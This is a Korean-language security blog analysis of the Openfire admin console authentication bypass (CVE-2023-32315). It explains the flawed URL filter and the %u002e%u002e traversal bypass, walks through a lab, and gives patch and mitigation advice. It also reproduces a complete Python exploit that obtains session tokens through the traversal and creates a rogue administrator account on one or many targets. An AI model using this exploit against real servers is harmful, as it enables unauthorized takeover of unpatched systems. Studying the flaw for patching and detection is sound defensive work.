1. Openfire [1]
- 자이브 소프트웨어(Jive Software)의 실시간 협업 서버
- XMPP(Extensible Messaging and Presence Protocol) 프로토콜을 기반으로 하는 오픈 소스 실시간 협업 서버
2. 취약점
- 취약한 버전의 Openfire 관리 콘솔 페이지에서 설정 환경을 통한 경로 탐색이 가능한 취약점
> 해당 취약점은 2023년 패치 보안 업데이트를 발표하였으며, 해당 업데이트를 적용하지 않은 서버를 대상으로 공격 수행
> 최근 국가 배후 해킹조직에서 해당 취약점을 악용한 정황이 포착
제품명 | 영향받는 버전 |
Openfire | 3.10.0 ~ 4.7.4 (3.10.0, 3.10.1, 3.10.2, 3.10.3, 4.0.0, 4.0.1, 4.0.2, 4.0.3, 4.0.4, 4.1.0, 4.1.1, 4.1.2, 4.1.3, 4.1.4, 4.1.5, 4.1.6, 4.2.0, 4.2.1, 4.2.2, 4.2.3, 4.2.4, 4.3.0, 4.3.1, 4.3.2, 4.4.0, 4.4.1, 4.4.2, 4.4.3, 4.4.4, 4.5.0, 4.5.1, 4.5.2, 4.5.3, 4.5.4, 4.5.5, 4.5.6, 4.6.0, 4.6.1, 4.6.2, 4.6.3, 4.6.4, 4.6.5, 4.6.6, 4.6.7, 4.7.0, 4.7.1, 4.7.2, 4.7.3, 4.7.4) |
2.1 취약점 상세
- 해당 취약점은 2023년 패치 보안 업데이트를 발표
> 해당 업데이트를 적용하지 않은 서버를 대상으로 공격 수행
- 해당 취약점은 "testURLPassesExclude" 메소드에서 URL에 대한 입력값 검증이 부족하여 발생
> doFilter()는 HTTP 요청을 가로채 입력값 검증, 권한 검증 등을 수행하는 것으로 판단됨
> testURLPassesExclude 메소드는 doFilter()에 의해 호출
> testURLPassesExclude는 URL에서 ".." 또는 "%2e (디코딩 .)" 문자열만 필터링하며 그 외 추가적인 필터링은 존재하지 않음
public static boolean testURLPassesExclude(String url, String exclude) {
// If the exclude rule includes a "?" character, the url must exactly match the exclude rule.
// If the exclude rule does not contain the "?" character, we chop off everything starting at the first "?"
// in the URL and then the resulting url must exactly match the exclude rule. If the exclude ends with a "*"
// character then the URL is allowed if it exactly matches everything before the * and there are no ".."
// characters after the "*". All data in the URL before
if (exclude.endsWith("*")) {
if (url.startsWith(exclude.substring(0, exclude.length()-1))) {
// Now make suxre that there are no ".." characters in the rest of the URL.
if (!url.contains("..") && !url.toLowerCase().contains("%2e")) {
return true;
}
}
}
else if (exclude.contains("?")) {
if (url.equals(exclude)) {
return true;
}
}
else {
int paramIndex = url.indexOf("?");
if (paramIndex != -1) {
url = url.substring(0, paramIndex);
}
if (url.equals(exclude)) {
return true;
}
}
return false;
}
- 공격자는 /%u002e%u002e/%u002e%u002e/ (디코딩 /../../)를 이용해 URL 입력값 검증을 우회
> 벤더사는 당시 웹 서버에서 지원하지 않는 UTF-16 문자의 특정 비표준 URL 인코딩에서 오류가 발생하였다고 밝힘
예시: "[Target IP]/setup/setup-s/%u002e%u002e/%u002e%u002e/log.jsp"
2.2 취약점 실습
- Opernfire 설치 후 정상 접근 확인
- BurpSuite를 이용해 plugin-admin.jsp 요청을 전송하여 JSESSION ID 및 CSRF와 같은 필요한 세션 토큰을 획득
/setup/setup-s/%u002e%u002e/%u002e%u002e/plugin-admin.jsp
- 획득한 세션 토큰을 이용해 user-create.jsp 요청을 전송하여 새로운 관리자 계정 생성
- test 계정으로 정상 접근 및 관리자 권한을 가진 것을 확인
> [사진 5] 관리자 계정 생성시 관리자 세션 토큰을 이용해 관리자 권한을 가진 것으로 판단됨
2.3 PoC [3]
- 세션 토큰(JSESSION ID 및 CSRF) 획득 후 토큰을 이용해 새로운 계정 생성
import random
import string
import argparse
from concurrent.futures import ThreadPoolExecutor
import HackRequests
artwork = '''
██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██╗███████╗
██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗╚════██╗ ╚════██╗╚════██╗╚════██╗███║██╔════╝
██║ ██║ ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝ █████╔╝█████╗█████╔╝ █████╔╝ █████╔╝╚██║███████╗
██║ ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝ ╚═══██╗╚════╝╚═══██╗██╔═══╝ ╚═══██╗ ██║╚════██║
╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗██████╔╝ ██████╔╝███████╗██████╔╝ ██║███████║
╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚══════╝╚═════╝ ╚═════╝ ╚══════╝╚═════╝ ╚═╝╚══════╝
Openfire Console Authentication Bypass Vulnerability (CVE-2023-3215)
Use at your own risk!
'''
def generate_random_string(length):
charset = string.ascii_lowercase + string.digits
return ''.join(random.choice(charset) for _ in range(length))
def between(string, starting, ending):
s = string.find(starting)
if s < 0:
return ""
s += len(starting)
e = string[s:].find(ending)
if e < 0:
return ""
return string[s : s+e]
final_result = []
def exploit(target):
hack = HackRequests.hackRequests()
host = target.split("://")[1]
# setup 1: get csrf + jsessionid
jsessionid = ""
csrf = ""
try:
url = f"{target}/setup/setup-s/%u002e%u002e/%u002e%u002e/user-groups.jsp"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36",
"Accept-Encoding": "gzip, deflate",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Connection": "close",
"Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",
"DNT": "1",
"X-Forwarded-For": "1.2.3.4",
"Upgrade-Insecure-Requests": "1"
}
print(f"[..] Checking target: {target}")
hh = hack.http(url, headers=headers)
jsessionid = hh.cookies.get('JSESSIONID', '')
csrf = hh.cookies.get('csrf', '')
if jsessionid != "" and csrf != "":
print(f"Successfully retrieved JSESSIONID: {jsessionid} + csrf: {csrf}")
else:
print("Failed to get JSESSIONID and csrf value")
return
# setup 2: add user
username = generate_random_string(6)
password = generate_random_string(6)
header2 = {
"Host": host,
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0",
"Accept-Encoding": "gzip, deflate",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Connection": "close",
"Cookie": f"JSESSIONID={jsessionid}; csrf={csrf}",
"Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",
"DNT": "1",
"X-Forwarded-For": "1.2.3.4",
"Upgrade-Insecure-Requests": "1"
}
create_user_url= f"{target}/setup/setup-s/%u002e%u002e/%u002e%u002e/user-create.jsp?csrf={csrf}&username={username}&name=&email=&password={password}&passwordConfirm={password}&isadmin=on&create=%E5%88%9B%E5%BB%BA%E7%94%A8%E6%88%B7"
hhh = hack.http(create_user_url, headers=header2)
if hhh.status_code == 200:
print(f"User added successfully: url: {target} username: {username} password: {password}")
with open("success.txt", "a+") as f:
f.write(f"url: {target} username: {username} password: {password}\n")
else:
print("Failed to add user")
# setup 3: add plugin
except Exception as e:
print(f"Error occurred while retrieving cookies: {e}")
def main():
print(artwork)
## parse argument
parser = argparse.ArgumentParser()
parser.add_argument('-t', '--target', help='The URL of the target, eg: http://127.0.0.1:9090', default=False)
parser.add_argument("-l", "--list", action="store", help="List of target url saperated with new line", default=False)
args = parser.parse_args()
if args.target is not False:
exploit(args.target)
elif args.list is not False:
with open(args.list) as targets:
for target in targets:
target = target.rstrip()
if target == "":
continue
if "http" not in target:
target = "http://" + target
exploit(target)
else:
parser.print_help()
parser.exit()
# def main():
# parser = argparse.ArgumentParser(description="CVE-2023-32315")
# parser.add_argument("-u", help="Target URL")
# parser.add_argument("-l", help="File containing URLs")
# parser.add_argument("-t", type=int, default=10, help="Number of threads")
# args = parser.parse_args()
# target_url = args.u
# file_path = args.l
# thread = args.t
# targets = []
# if target_url is None:
# with open(file_path, "r") as file:
# for line in file:
# target = line.strip()
# if target == "":
# continue
# if "http" not in target:
# target = "http://" + target
# targets.append(target)
# with ThreadPoolExecutor(max_workers=thread) as executor:
# for target in targets:
# executor.submit(exploit, target)
# else:
# exploit(target_url)
if __name__ == "__main__":
main()
3. 대응방안
- 벤더사 제공 업데이트 적용 [4][5][6][7]
> decodedUrl()를 추가하여 UTF-8 디코딩 [8]
제품명 | 영향받는 버전 | 해결 버전 |
Openfire | 3.10.0 ~ 4.7.4 (3.10.0, 3.10.1, 3.10.2, 3.10.3, 4.0.0, 4.0.1, 4.0.2, 4.0.3, 4.0.4, 4.1.0, 4.1.1, 4.1.2, 4.1.3, 4.1.4, 4.1.5, 4.1.6, 4.2.0, 4.2.1, 4.2.2, 4.2.3, 4.2.4, 4.3.0, 4.3.1, 4.3.2, 4.4.0, 4.4.1, 4.4.2, 4.4.3, 4.4.4, 4.5.0, 4.5.1, 4.5.2, 4.5.3, 4.5.4, 4.5.5, 4.5.6, 4.6.0, 4.6.1, 4.6.2, 4.6.3, 4.6.4, 4.6.5, 4.6.6, 4.6.7, 4.7.0, 4.7.1, 4.7.2, 4.7.3, 4.7.4) |
4.6.8, 4.7.5, 4.8.0 |
- 업데이트가 불가한 경우 opt/openfire/plugins/admin/webapp/WEB-INF/web.xml 편집
> AuthFilter 요소에서 *를 제거 및 Authentication으로 설정한 후 모든 것을 제외
> 악용을 시도하는 경우 로그인 페이지로 리디렉션
- /%u002e%u002e/%u002e%u002e/ 탐지 정책 적용
4. 참고
[1] https://www.igniterealtime.org/projects/openfire/
[2] https://nvd.nist.gov/vuln/detail/CVE-2023-32315
[3] https://github.com/miko550/CVE-2023-32315
[4] https://discourse.igniterealtime.org/t/cve-2023-32315-openfire-administration-console-authentication-bypass/92869
[5] https://github.com/igniterealtime/Openfire/security/advisories/GHSA-gw42-f939-fhvm
[6] https://www.igniterealtime.org/downloads/
[7] https://www.boho.or.kr/kr/bbs/view.do?searchCnd=&bbsId=B0000133&searchWrd=&menuNo=205020&pageIndex=1&categoryCode=&nttId=71305
[8] https://github.com/igniterealtime/Openfire/blob/5454b57088ef6b62af39bb3cf704879baf55ab07/xmppserver/src/main/java/org/jivesoftware/admin/AuthCheckFilter.java#L194
[9] https://www.vicarius.io/vsociety/posts/cve-2023-32315-path-traversal-in-openfire-leads-to-rce
[10] https://codewithvamp.medium.com/cve-2023-32315-administration-console-authentication-bypass-c1429f8c4576
[11] https://www.seqrite.com/blog/critical-security-alert-cve-2023-32315-vulnerability-in-openfire-xmpp-server/
[12] https://www.boannews.com/media/view.asp?idx=126400&page=1&kind=1
'취약점 > Directory Traversal' 카테고리의 다른 글
Check Point社 VPN Path Traversal 취약점 (CVE-2024-24919) (0) | 2024.06.04 |
---|---|
F5 BIG-IP TMUI RCE (CVE-2020-5902) (0) | 2022.12.25 |
Citrix ADC and Gateway 취약점 (CVE-2019-19781) (0) | 2022.12.02 |
FortiOS SSL VPN Directory Traversal 취약점 (CVE-2018-13379) (0) | 2022.11.29 |
bWAPP Directory Traversal(Files) (0) | 2022.08.06 |